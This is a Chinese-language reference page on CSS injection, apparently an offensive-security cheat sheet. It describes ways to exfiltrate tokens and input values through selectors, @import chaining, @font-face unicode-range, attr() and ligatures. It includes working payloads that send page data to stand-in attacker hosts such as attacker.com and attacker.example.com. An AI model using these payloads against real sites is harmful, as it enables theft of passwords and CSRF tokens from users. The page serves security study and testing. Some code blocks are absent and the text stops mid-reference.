CSS 注入 (CSS Injection)
CSS 注入是一种漏洞,当应用程序允许将不受信任的 CSS 注入网页时就会发生。攻击者可以利用此漏洞,通过操纵页面布局或根据元素属性触发网络请求,来窃取敏感数据(如 CSRF 令牌或其他机密信息)。
摘要 (Summary)
工具 (Tools)
- hackvertor/blind-css-exfiltration - 使用 Blind CSS 外带未知网页内容的工具。
- PortSwigger/css-exfiltration - 基于 CSS 的外带技术集合。
- cgvwzq/css-scrollbar-attack - 通过 CSS 注入利用滚动条泄露文本节点的 PoC。
- d0nutptr/sic - 用于高级 CSS 外带的顺序导入链 (Sequential Import Chaining)。
- adrgs/fontleak - 仅使用 CSS 和连字快速外带文本的工具。
方法论 (Methodology)
CSS 选择器 (CSS Selectors)
CSS 选择器可以用于外带数据。这种技术特别有用,因为 CSP 规则通常允许加载 CSS,而 Javascript 则经常被放堵。
该攻击通过逐个字符暴力破解令牌。一旦识别出第一个字符,Payload 就会更新以猜测第二个字符,依此类推。这通常需要使用 iframe 重新加载页面以加载新的 Payload。
input[value^=a](前缀属性选择器):选择值以 "a" 开头的元素。input[value$=a](后缀属性选择器):选择值以 "a" 结尾的元素。input[value*=a](子串属性选择器):选择值包含 "a" 的元素。
通过背景图片进行外带 (Exfiltration via Background Image)
当选择器匹配时,浏览器会尝试从攻击者控制的 URL 加载背景图片,从而泄露该字符。
提示:
- 隐藏输入框 (Hidden Inputs):您不能直接向隐藏的输入字段应用背景图片。相反,使用兄弟选择器 (
+或~) 来为紧随隐藏输入框之后的可见元素设置样式。
- Has 选择器:
:has()伪类允许根据其子元素为父元素设置样式。
- 并发 (Concurrency):同时使用前缀和后缀选择器可以加快猜测过程。您可以将前缀检查分配给一个属性(例如
background),将后缀检查分配给另一个属性(例如list-style-image或border-image)。
CSS Import at-rule
这种技术被称为 Blind CSS Exfiltration (盲 CSS 外带)。它依靠导入外部样式表来触发回调。
<style>@import url(http://attacker.com/staging?len=32);</style>
<style>@import'//YOUR-PAYLOAD.oastify.com'</style>
框架并不总是需要重载才能重新评估 CSS。@import 规则允许延迟加载;浏览器会处理导入并应用新样式。
顺序导入链 (Sequential Import Chaining, SIC)
SIC 允许攻击者在不重载页面的情况下链接多个提取步骤:
- 注入一个指向阶段性 Payload 的初始
@import规则。 - 阶段性 Payload 保持连接开启(长轮询 (long-polling)),同时生成下一个具体的 Payload。
- 当 CSS 规则匹配时(例如通过
background-image找出一个字符),浏览器会发起请求。 - 服务器检测到该请求,并生成下一个
@import规则以继续链路。
CSS 条件语句 (CSS Conditionals)
内联样式外带 (Inline Style Exfiltration)
这种高级技术利用了 CSS 条件语句(如 if())和变量,直接在 style 属性中执行逻辑。
示例:窃取 data-uid 属性(如果其值在 1 到 10 之间)。
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
CSS Font-face at-rule
@font-face CSS at-rule 指定一个自定义字体用于显示文本;字体可以从远程服务器加载,也可以从用户自己计算机上安装的本地字体加载。 - Mozilla
unicode-range 属性允许为特定字符使用特定字体。我们可以滥用这一点来检测页面上是否存在特定字符。
如果字符 "A" 存在,浏览器会尝试从 /?A 加载字体。如果 "C" 不存在,则永远不会发起该请求。
<style>
@font-face{ font-family:poc; src: url(http://attacker.example.com/?A); /* 已获取 */ unicode-range:U+0041; }
@font-face{ font-family:poc; src: url(http://attacker.example.com/?B); /* 也已获取 */ unicode-range:U+0042; }
@font-face{ font-family:poc; src: url(http://attacker.example.com/?C); /* 未获取 */ unicode-range:U+0043; }
#sensitive-information{ font-family:poc; }
</style>
<p id="sensitive-information">AB</p>
局限性:
- 无法区分重复字符(例如 "AA" 仅触发一次请求)。
- 无法确定字符的顺序。
- 尽管有这些限制,它仍是一个检查字符是否存在的非常可靠的 Oracle。
- Chrome 将此标记为 "WontFix" (不予修复):issues/40083029
通过 attr() 提取属性 (Attribute Extraction via attr())
CSS attr() 函数允许 CSS 检索所选元素的属性值。随着最近的更新(参见 Advanced attr()),此函数可用于提取输入框的值。
目标 HTML:
<html>
<head>
<link rel="stylesheet" href="http://attacker.local/index.css">
</head>
<body>
<input type="text" name="password" value="supersecret">
</body>
</html>
index.css(由攻击者托管):
当 image-set() 与 attr() 配合使用时,浏览器可能会尝试将属性值解释为 URL。如果样式表是跨域的,相对 URL 会根据样式表的源(Origin)而不是页面的源进行解析。
攻击者服务器上的请求结果:
连字 (Ligatures)
这种技术利用了自定义字体和连字 (ligatures)。连字将多个字符合并为一个字形。通过创建自定义字体,使特定的字符序列(例如特定的文本内容)产生宽度巨大的连字,我们可以通过布局的变化来检测内容。
- 为目标字符串创建具有连字的自定义字体。
- 使用媒体查询 (media queries) 或滚动条来检测元素渲染宽度是否发生了变化。
使用 fontleak 设置自定义选择器、父元素和字母表的 Payload 示例。
警告:CSS 选择器必须在目标页面中精确匹配一个元素。
<style>@import url("http://localhost:4242/?selector=.secret&parent=head&alphabet=abcdef0123456789");</style>
实验环境 (Labs)
参考资料 (References)
- 0CTF 2023 Writeups - Web - newdiary - aszx87410 - 2023年12月11日
- Bench Press: 使用 CSS 泄露文本节点 - pspaul - 2024年10月20日
- 通过 HTML 注入实现更好的外带 - d0nut - 2019年4月11日
- Blind CSS Exfiltration: 外带未知网页内容 - Gareth Heyes - 2023年12月5日
- 基于 CSS 的攻击:滥用 @font-face 的 unicode-range - Masato Kinugawa - 2015年10月23日
- CSS 数据外带以窃取 OAuth 令牌 - 2025年9月13日
- CSS 注入 - xsleaks.dev - 2025年5月9日
- CSS 注入攻击,或者如何使用